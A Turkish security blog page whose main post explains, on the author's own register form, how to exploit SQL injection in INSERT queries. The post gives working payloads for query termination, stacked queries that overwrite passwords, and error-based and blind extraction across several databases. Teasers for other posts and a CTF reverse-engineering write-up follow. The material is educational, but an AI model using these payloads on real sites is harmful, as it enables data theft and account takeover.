Insert bazlı Query'lerde SQL Injection

17 Ekim 2015 Cumartesi

Bu yazımızda temelde insert cümlesi kullanan web sayfalarında SQL Injection saldırısı düzenlemeyi anlatacağım.

Insert cümlesi kullanan sayfalara örnek verecek olursak en güzel örnek register formları olacaktır. Bu yazımda kendi kodladığım bir register formunda SQL Injection yapacağım.

Formun PHP kodu aşağıdaki gibidir;


Kodumuz kullanıcıdan kadi, ad, soyad, email alarak register işlemi gerçekleştirmektedir. Bu verileri kullanıcı tablosuna insert etmektedir.

Formun görünümü aşağıdaki gibidir;


Verileri girip kaydol dediğinizde "Kayıt eklendi" demektedir.

Biz tırnak işareti kullanarak kayıt ekledik ve aldığımız yanıt şu şekildedir:


Tırnak işaretini bir değil 2 tane peş peşe koyarsak, veritabanı standartlarında escape edilerek string olarak tırnak işaretine dönüştürülecektir. Özel karakter olarak işlev görmeyecektir. Bu şekilde bir deneme yapalım:

Veritabanına nasıl eklendiğine bakalım:


Gördüğümüz gibi tırnak işareti kayıt metnine direk yansıdı, sorguyu bozmadı.

Bizim injection çektiğimiz kolon email kolonuydu. Şimdi biz mevcut insert cümlesini sonlandırmaya çalışacağız. Önce sorgunun orjinalinde işin nasıl gerçekleştiğine bakalım:

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, '".$_POST['kadi']."', '".$_POST['ad']."','".$_POST['soyad']."','".$_POST['email']."')

burada örneğin "kadi=asd&ad=asd&soyad=asd&email=asd@asd.com" yazmış olsaydık sorgu şu şekilde olacaktı;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','asd@asd.com')

Biz email kısmına ')-- girdiğimizde sorgu şu şekilde olacak;

INSERT INTO kullanici (id,kadi, ad,soyad, email)VALUES (null, 'asd','asd','asd','')--)

Mantıken baktığımızda emaile boş insert yapmış olacağız ancak deneme yaptığımızda kayıt eklenemedi. Bu sebeple biz sorgu sonlandırma karakteri olarak # karakterini kullanacağız. Mysql de bu karakterle de sorgu sonlandırmak mümkün. -- karakterleri ile mysql de bazen sonlandırma yapamıyoruz(bazen versiondan bazen de scriptte alınan önlemlerden kaynaklanmakta) ama diğer db'lerde sonlandırma yapabileceğimiz için onu da göstermiş olalım. Şimdi girdi olarak

')#

giriyoruz, aldığımız tepki aşağıdaki gibidir;

Bu arada veritabanı türlerine göre query sonlandırma karakterleri aşağıdaki gibidir;

Mysql:   -- ,  #
Oracle:  --
MsSQL: --, % 00(null byte)
Access% 00 (null byte)
PostgreSQL: --, % 00 (null byte)

SQLite: --, /*, % 00 (null byte)

IIS server kullanılıyorsa zaten yüksek ihtimalle % 00 tüm db'lerde çalışır. (Not: % 00 arasında boşluk olmayacak.)

Gördüğünüz gibi kayıt eklendi. Email kısmını boş olarak eklemiş olmamız lazım. Bunun için db'mizi kontrol edelim.



Evet 12 ve 13 id li kayıtlar boş email olarak denemelerimiz sırasında eklenmiş oldu.

Eğer email kolonumuzdan sonra başka kolonlarda insert ediliyor olsaydı, kayıt başarıyla eklendi uyarısı alana kadar aşağıdaki gibi denemeler yapacaktık.

','')#
','','')#
','','','')#

Peki mevcut query'yi sonlandıramasaydık ne yapacaktık?

O zaman 2 veri insert edermiş gibi query'yi tamamlamaya çalışacaktık. Önce insertte kaç kolon var onu tahmin etmemiz gerekecekti, daha sonra ilk insert cümlesini tamamlayıp 2. cümleyi açacaktık. Örnek vermek gerekirse, eğer 4 kolon olduğunu düşünseydik şu şekilde denemeler yapacaktık:

'),('','','','
',''),('','','
','',''),('','
','','',''),('

Burada amaç ilk query'yi tamamlayıp, 2. query'de sonuna eklenecek karakterlere göre hata vermeyip sorguyu tamamlayacak bir query üretmektir.

Örneğin ilk deneme doğruysa, son query şu şekilde olacaktır:

insert into bla values('bla','bla','bla',''),('','','','')

Tabi biz burda boş girdileri insert etmiş olduk. Boş olmama kuralı veya veri türü uyuşmazlıkları ihtimaline karşın aşağıdaki gibi bir girdi kullanmak daha akıllıca olur.

insert into bla values('bla','bla','bla',''),('2','2','2','2')

Şimdi biz istediğimiz veriyi ekliyoruz. Peki, başka neler yapabiliriz?

Burada önemli olan soru şudur, hangi veritabanı kullanılıyor?

Eğer kullanılan dbms "mssql" veya "postgresql" ise, "stacked query" desteğimiz var demektir. Bu da sorgu tipi insert olsa bile sonuna istediğimiz sorguyu ekleyebileceğimiz manasına gelir.

Örneğin şöyle bir saldırı kodu düşünelim;

');update users set password='12345' where username not in ('

Sorgunun son hali şöyle olacak:

insert into bla values('bla','bla','bla','');update users set password='12345' where username not in ('')

Burada hem insert query'si çalışacak, hem bizim update query'miz çalışacaktır.

Ancak dbms Oracle, Mysql, Access, Sqlite vb. ise sadece insert olan kısma müdahale edebiliriz.
Peki nasıl veri çekeriz?

Burada da aklımıza şöyle bir soru gelir, insert edilen verileri görebiliyor muyuz?

Eğer verileri görebiliyorsak email'e şöyle bir şey yazdığımızı düşünün:

asasd'),('','',version(),'','



17 id'li kayıt dikkatinizi çekmiştir herhalde ;)

Eğer insert tablosundaki verileri göremiyorsak, o zaman ne yapabiliriz?

Burada da bir soru sormak gerekir, db hataları detaylı bir şekilde ekrana yansıyor mu?

Eğer yansıyorsa Hata Bazlı Reflected Injection yapabiliriz. Bu çeşit bir saldırı için örnek kodlar aşağıdadır;

Mysql için:

asasd'),('','',extractvalue(rand(),concat(0x3a,version(),0x3a,user())),'','

veya 

asasd'),('','',(select 1 from(select count(*),concat((select table_name from information_schema.tables limit+0,1),floor(rand(0)*2))x from information_schema.tables group by x)a),'','



PostgreSQL için:

asasd'),('','',(select cast(current_user as int)),'','



Mssql için:

asasd'),('','',(select top 1 cast(name as int) from sysobjects),'','



Oracle için:

asasd'),('','',(select XMLType((‘<:’||user||’>’)) from dual),'','


Bu yazdığımız özel sorgular, hata mesajında bize istediğimiz veriyi verecektir.

Ancak bizim kodumuz hataları ekrana vermemekteydi. Blind injection yapmaktan başka şansımız kalmadı. Peki nasıl yaparız?

Burada biz neyi biliyoruz? Eğer iç sunucu hatası veren bir sorgu girilirse, "kayıt eklenemedi" ile karşılaşacağız.

O zaman biz de yazdığımız sorgu sonucu "true" çıktığında iç sunucu hatası verecek bir sorgu yazarız.

Örnek saldırı kodu aşağıdadır.

asasd'),('','',IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1),'','


IF((select 1 from information_schema.tables where table_schema=database() and table_name like '%admin%'),(select 1 union select 2),1)

Eğer information_schema.tables'ta mevcut db'mizde, like '%admin%' şartını sağlayan bir tablo varsa, (select 1 union select 2), yoksa sadece 1 dönecektir.

True şartı sağlandığında (select 1 union select 2) - 2 elemanlı bir rowset döndüreceği için, syntaxa uygun olacak fakat, iç sunucu hatası verdirecektir.


Bu da içinde admin geçen bir tablomuz olduğu manasına gelir. Bu saldırı şekli Mysql'de kullanılır, çünkü Mysql'de tür dönüşümü uyumsuzlukları(int-char vb) ile iç sunucu hataları alınmamaktadır. Yine de başka türlü blind injection saldırıları da üretmek mümkündür.


Hee bu arada, Time Based Injection da yapılabilir ancak burada ihtiyaç yoktur. Zaten tespit edemediğimizde bu yönteme başvurmamız gerekir. Çünkü hiçbir denemede sayfadan bir tepki alamıyorsak; sayfaya yansımayan, ancak arka planda tetiklenme ihtimali olan injection'lar için Time Based denemeleri yapmak gerekir.


Insert bazlı query'ler bu şekilde inject edilebilmektedir. Bu tür insert cümleleri gösterdiğimiz gibi kayıt formları olabileceği gibi, veritabanı üzerine log tutan her yerde olabilir. Çünkü log mekanizması doğası gereği insert kullanmaktadır.  Özel karakterler escape edilmemiş HER QUERY inject edilebilir, etmesini bilene ;)

Remote Command Execution (RCE)

22 Eylül 2015 Salı

Bu güvenlik açığı tüm türler arasında en tehlikelisidir ve genelde 10 üzerinden 10 ile derecelendirilir. Bulmak zordur. Komut çalıştırma açığı aranan scriptte, komut çalıştıran bi kod parçası olması gerekir haliyle. Bu yüzden bulmak zordur, çünkü çok gerekmedikçe webmasterlar kolay kolay komut çalıştıran kodlar yazmaz. Ancak her sistemin her katmanında bu tip açıklara rastlanabilir. Biz burada web hacking'deki mevzusundan bahsedeceğiz.

Tırnak Işareti Filtreli Scriptlerde SQL Injection, htmlspecialchars Bypass

2 Ağustos 2015 Pazar

Bildiğiniz gibi Ahmet Çelik(t4cs1zkr4L) kardeşim Avrasya Üniversitesi Bilişim Topluluğunun başkanlığını yürütmekte. Topluluğun dergi çıkarmasına öncülük eden laz bana da bi makale yazdırdı. Onu sizinle paylaşayım dedim.

Bunlar da dergiden resimler:

TurkSec Bingci

25 Temmuz 2015 Cumartesi

Dün bişey kodladım, yayınlayayım dedim.

Ne kodladım?
Bingci

Neyde kodladım?
Java JRE 8

Napar?
Bing'de bilenleriniz vardır ip bazlı arama yapmak mümkün. Örneğin şöyle yazarsanız;
ip:123.123.123.123
O ip adresinde mevcut yayında olan siteleri listeler. Peki ne işimize yarar?

Hack Terimleri, Hack Nedir? Hacker Nedir?

22 Temmuz 2015 Çarşamba

Bu yazımızda teknik bilgiden daha çok bilgi güvenliğinin en çok tartışılan terimleri hakkında bilgi vereceğiz. Burada amacımız kendi tecrübelerimize dayanarak, bazı yanlış bilinen tanımların doğrularını açıklamaya çalışmak. Tanımların tamamı bize aittir fakat, bu tanımlamaları yaparken, aynı zamanda dünyadaki emsallerini de göz önünde bulunduracağız. Yani tamamı fikir olmayacak, kabul edilmiş tanımlamalar da olacaktır.




TurkSec Panel Bulucu

1 Temmuz 2015 Çarşamba

Evet arkadaşlar bildiğiniz gibi Java'da TurkSec Scanner'ı kodlamaya devam etmekteyiz. Biraz dağınık kodladığım için ve her gün yeni bir şeyler eklediğim için program bütün olarak daha tamamlanmış değil; ancak biten bazı modülleri ayrı programlar halinde yayınlamaya karar verdik.

Özellikle Ahmet'in proje dersi için geliştirdiğimiz bu modülü ayrı programa çevirerek yayınlamak istedik.

Yayınlayacağımız modül, dizin bulma(dir finder) modülü.

Win x86 Reverse Engineering

26 Mart 2015 Perşembe

Bu yazımızda "ringzer0" ctf'de "Binaries" kategorisinde sorulmuş "Windows x86 reversing is cool" başlıklı sorunun çözümünü anlatacağız.

Sorudan da anlaşıldığı gibi elimizde bir Winx86 exe var ve bunu reverse ederek flag'i elde etmeye çalışacağız.

Exe'yi ilk çalıştırdığımızda ve Key değerini girdiğimizde ekran görüntüsü şu şekilde olmaktadır:


gördüğünüz gibi keyi yanlış girdiğimiz için "Wrong Key!" demekte.

Önce exe üzerinde string'leri vs. kontrol ettik ancak Flag yoktu. Geriye tek bir çare kaldı, dinamik debug yapmak.

Exe'yi Ollydbg ile açtık.


Tabi exe'yi açınca bi yığın işimize yaramayacak asm koduyla karşılaştık. Biz direk Key kontrol kısmına geçeceğiz. Bunun için önce sağ tıklıyoruz, daha sonra "Search for" kısmına oradan da "All referenced strings" e tıklıyoruz.

Açılan menü şu şekilde;


Burada "Wrong Key!" uyarısını görüyoruz ve ona çift tıklıyoruz.


Gördüğünüz gibi keyin alındığı yere ve kontrolü tamamlandıktan sonra hatanın verildiği yere geldik.
Şimdi uygun bir nokta bulup Breakpoint koyacağız(F2 ile). Bu sayede baştan sona adım adım gitmemize gerek kalmayacak, direk bu noktadan debug etmeye başlayacağız.


Biz "scanf" in çağrıldığı, yani key'in bizden istendiği noktaya breakpoint koyduk.

Şimdi yukarıdan "Debug-> Run" diyeceğiz.


Gördüğünüz gibi exe'miz çalıştı ve bizden key istiyor, ancak henüz key giremeyiz çünkü "scanf" fonksiyonu daha tamamlanmadı. Adım adım ilerlemek için F8'e basıyoruz.

Bu arada F8 step over manasına gelir, yani diğer bir deyişle, çağrılan alt fonksiyonlara girmemek şartıyla bi adım aşağı iner, F7 ise çağrılan bir alt fonksiyon varsa onun da içine girer(step into).

Key değerini girebilene kadar F8 e basılı tutuyoruz.

Sonra key değerini giriyoruz;


Exemiz arkada dursun, debuggera geri dönüyoruz;

Mümkün olduğunca okuduğumuz asm kodlarını anlayarak F8'e bastıkça ilerliyoruz.


"Wrong key!" uyarısına girdik. Burada dikkat ettiyseniz "strlen" fonksiyonu çağrılıyor ve

CMP EAX,6  (EAX 6 mı, 6 ise Zero Flag'i Set(1) Et)

komutu uygulanmış, ve daha sonra JE(jump if equal) şartını sağlamadığı için dallanmayıp bi alt satıra inmiş.

Bu bize key hakkındaki ilk bilgiyi veriyor, keyimiz 6 haneli.

Şimdi durup düşündüğümüzde, stringler arasında flag yoktu gördüğünüz gibi, flag, key doğru girildiğinde dinamik olarak üretilip ekrana basılacak.

Flag uzun olduğu için, flag'i değil, keyi bulmak daha mantıklı. Bu yüzden biz keyi bulmaya çalışacağız. Bi sonraki adımımızda 6 haneli bir değer girip ilk kontrolü geçtiğimizde programın ne yapacağını kontrol edeceğiz.

Debug'ı "Restart" ediyoruz ve 6 haneli bir key giriyoruz.


İlk kontrolü geçip dallandıktan sonra geldiğimiz nokta burası. Adım adım ilerliyoruz.




Burada okla gösterilen nokta, strlen değeri ile EBX register'ını karşılaştırmakta. Dikkat ettiyseniz EBX register "0". Buradan şunu anlayabildik. EBX muhtemelen sayaç ve her ne işlem yapılacaksa, bu işlem 6 kez yapılacak. Yani key döngüde byte byte karşılaştırılacak.

Buradan her döngü tekrarlandığında keyi byte byte okuma ihtimalimiz var, neyse biz devam edelim debug işlemine.


Esas kontrol mekanizmasının gerçekleştiği kod bloğuna dallandık ve dikkat ettiyseniz en altta

CMP DL,AL
JE blablabla
"Wrong Key" olan satır

Yani bu şu manaya geliyor, bu işlem yapıldıktan sonra DL değeri ile AL değeri eşit değilse, key hatalıdır.

Devam edelim(F8);


Dikkat ettiyseniz DL ye attığı yeni değer, bizim key olarak girdiğimiz 6 karakterin ilk harfi.
Yani burada DL registerı bizim girdiğimiz değeri harf harf temsil ediyor.

Devam ediyoruz;


Şimdi bizim girdiğimiz keyin harfini, FFFFFFD3 ile xor'ladı.
Ancak burada DX'i xorladı.
Bizim girdiğimiz değer, DL de olduğu için DH kısmı bizi ilgilendirmiyor.
Kısaca bizim değerimiz
FFD3 ile xor'landı.

Devam edelim;



Şimdi
CMP DL,AL

Komutunu çağırdı. Register'ların o anki değerleri aşağıdaki okla gösterilen yerde yazmakta.
Eğer bu şart sağlanmıyorsa bi alt satırdaki JE çalışmayacak ve döngüden çıkacak.

Şimdi biz burada şunu öğrenmiş olduk.

AL = 97
DL = A0 
imiş. Bu değerler tabi hexadecimal.

DL miz neydi peki?
Girdiğimiz 's' karakterinin  "FFD3" ile xorlanmış hali.

Yani bu şu manaya gelmekte, bizim girdiğimiz değerin "FFD3" ile xorlanmış hali, bize 0x97 yi vermeliydi.

Bu logic işlemi kendimiz gerçekleştirirsek;
0xFFD311111111 11010011
bizi burada D3 kısmı ilgilendiriyor, çünkü harfimiz 1 byte

11010011 ile neyi xorlarsak, sonuç 10010111(0x97) olur?

Cevap:
01000100 (ascii "D" harfi)

Şimdi biz bu işlemi her 6 karakter kontrol edilirken AL registerı hangi değerdeyse onun için tekrarlayacağız. Ancak ilk karakteri yanlış girdiğimiz için AL'ye eşitlik şartını sağlamadığı için döngüden çıkacak ve "Wrong key!" hatasını verecek. Bu kadar zahmetten sonra baştan başlamamak için kodu biraz aşağıdaki gibi editliyoruz.


JE olan komutu, JNE olarak değiştirdik. Yani eşitse değil, eşit değilse dallan.
Aynı döngüye tekrar girdiğimizde 2. karakteri de
00110011  yani
ascii "3" olarak bulduk.

Bu şekilde tüm 6 karakteri çekiyoruz. Sonuç:


Bu sorumuzu da böyle çözmüş olduk.

Bu arada ctf'den bahsedecek olursak;

Yarışmada aklınıza gelebilecek her alandan toplam 169 soru mevcut. Çoğu kaliteli sorular(misal bu çözdüğümüz 3 puanlık soruydu, bu alanda en yüksek 15 puanlık soru var, düşünün gerisini).

Yarışmada süre kısıtlaması yok, zaten admin zaman buldukça yeni sorular ekliyor. Bir şeyler öğrenmek, ctf ufkunu açmak isteyenlere tavsiye ederiz.

Özellikle SQL injection adlı bir kategori var ve sorular hayvan gibi, daha yeni ancak 22/23 yapabildik son soru hala duruyor. Soruları çözmeye çalıştığınızda niye öyle olduğunu anlayacaksınız ;)

Şu anki durumumuza gelecek olursak da 108 / 169 soru çözdük, sıralama ve puan durumu ise aşağıdaki gibi;


Huyumuzu bilenler bilir, nasılsa süre kısıtlaması yok, 1. liğe kadar kasmaya devam edeceğiz ;)

Temel Bof 2

3 Mart 2015 Salı

Yasir kardeşim temel bof konusuna giriş yapmış bende bir şeyler yazacağım. Benim anlatacağım biraz daha düşük seviyede. Aynı CTF'de farklı bir BOF sorusu üzerinden gideceğiz.

 
Support : Copyright © 2014. Diary of Injector - All Rights Reserved